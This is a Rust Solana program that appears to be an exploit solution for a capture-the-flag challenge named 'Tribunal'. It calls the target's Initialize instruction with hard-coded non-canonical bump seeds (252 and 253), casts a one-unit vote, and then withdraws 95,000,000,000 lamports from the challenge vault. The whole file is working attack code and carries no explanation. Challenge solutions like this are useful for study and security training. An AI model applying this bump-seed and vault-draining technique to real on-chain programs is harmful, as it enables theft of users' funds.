use borsh::{ BorshSerialize };
use solana_program::{
account_info::{ next_account_info, AccountInfo },
instruction::{ AccountMeta, Instruction },
entrypoint::ProgramResult,
entrypoint,
program::invoke,
pubkey::Pubkey,
system_program,
};
#[derive(BorshSerialize)]
pub enum TribunalInstruction {
Initialize { config_bump: u8, vault_bump: u8 },
Propose { proposal_id: u8, proposal_bump: u8 },
Vote { proposal_id: u8, amount: u64 },
Withdraw { amount: u64 },
}
entrypoint!(process_instruction);
pub fn process_instruction(
_program_id: &Pubkey,
accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
let iter = &mut accounts.iter();
let chall_id = next_account_info(iter)?;
let user = next_account_info(iter)?;
let user_config = next_account_info(iter)?;
let user_vault = next_account_info(iter)?;
let proposal = next_account_info(iter)?;
let vault = next_account_info(iter)?;
let config_bump = 252_u8;
let vault_bump = 253_u8;
invoke(
&Instruction {
program_id: *chall_id.key,
data: TribunalInstruction::Initialize{config_bump, vault_bump}.try_to_vec().unwrap(),
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*user_config.key, false),
AccountMeta::new(*user_vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
]
},
&[
user.clone(),
user_config.clone(), // all accounts should be provided
user_vault.clone(),
]
)?;
invoke(
&Instruction {
program_id: *chall_id.key,
data: TribunalInstruction::Vote{proposal_id: 1, amount: 1}.try_to_vec().unwrap(),
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*user_config.key, false),
AccountMeta::new(*vault.key, false),
AccountMeta::new(*proposal.key, false),
AccountMeta::new_readonly(system_program::id(), false),
]
},
&[
user.clone(),
vault.clone(),
user_config.clone(),
proposal.clone(),
]
)?;
invoke(
&Instruction {
program_id: *chall_id.key,
data: TribunalInstruction::Withdraw{amount: 95_000_000_000}.try_to_vec().unwrap(),
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*user_config.key, false),
AccountMeta::new(*vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
]
},
&[
user.clone(),
vault.clone(),
user_config.clone(),
]
)?;
Ok(())
}